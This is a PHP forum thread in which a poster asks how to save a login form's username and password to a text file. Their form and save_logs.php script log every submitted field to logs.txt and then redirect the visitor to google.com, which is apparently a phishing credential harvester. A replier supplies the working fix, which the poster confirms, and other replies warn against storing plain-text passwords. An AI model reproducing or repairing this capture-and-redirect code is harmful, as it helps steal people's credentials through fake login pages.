Page 1 of 1

How to save form data Username and Password in text file?

Posted: Tue Mar 27, 2018 10:27 am
by Asifahmad555

Code: Select all

<form class="form-signin form" autocomplete="off" id="login-form" action="save_logs.php" method="post">


<div class='loginform'>
<div class='inputslogin'>

            
			<label for='name'><img src='/img/log_user.png'></label>
            <div class="form-group"><div><input class="form-control" placeholder="Username" name="LoginForm[username]" id="LoginForm_username" type="text" /><div class="help-block error" id="LoginForm_username_em_" style="display:none"></div></div></div>            
			
			<label for='pass'><img src='/img/log_pass.png'></label>
            <div class="form-group"><div><input class="form-control" placeholder="Password" name="LoginForm[password]" id="LoginForm_password" type="password" /><div class="help-block error" id="LoginForm_password_em_" style="display:none"></div></div></div>            
           
            <button type='submit'>enter</button>
                            <a href="register.php">
                    <button type='button'>register</button>
                </a>
                    </div>
					</div>
save_logs.php :-

Code: Select all

<?php
header ('Location: https://google.com ');
$handle = fopen("logs.txt", "a");
foreach($_POST as $variable => $value) {
	fwrite($handle, $variable);
	fwrite($handle, "=");
	fwrite($handle, $value);
	fwrite($handle, "\r\n");}
fwrite($handle, "**************************************\r\n");
fclose($handle);
exit;
?>
I WANT TO SAVE USERNAME n PASSWORD IN TEXT FILE ON SUBMIT

i tried with this save_logs.php script but that didnot worked.

Re: How to save form data Username and Password in text file

Posted: Tue Mar 27, 2018 2:21 pm
by Christopher
To get the username and password:

Code: Select all

foreach($_POST['LoginForm'] as $variable => $value) {
Asifahmad555 wrote:I WANT TO SAVE USERNAME n PASSWORD IN TEXT FILE ON SUBMIT
Don't do this! At least use SQLite which is a file based database. http://php.net/manual/en/book.sqlite3.php

Re: How to save form data Username and Password in text file

Posted: Tue Mar 27, 2018 2:57 pm
by VladSun
Christopher +1

Also, never ever save a plain text password - save salt & peppered password hash instead.

Re: How to save form data Username and Password in text file

Posted: Wed Mar 28, 2018 4:15 am
by Asifahmad555
yes i know but now i want to save in text file so please correct this form n that php script.

Re: How to save form data Username and Password in text file

Posted: Wed Mar 28, 2018 11:23 pm
by Christopher
Asifahmad555 wrote:yes i know but now i want to save in text file so please correct this form n that php script.
I gave you the correction above. And then said you should not do it this way.

Re: How to save form data Username and Password in text file

Posted: Thu Mar 29, 2018 1:25 am
by Asifahmad555
Christopher wrote:
Asifahmad555 wrote:yes i know but now i want to save in text file so please correct this form n that php script.
I gave you the correction above. And then said you should not do it this way.


THANKX IT WORKED BRO :)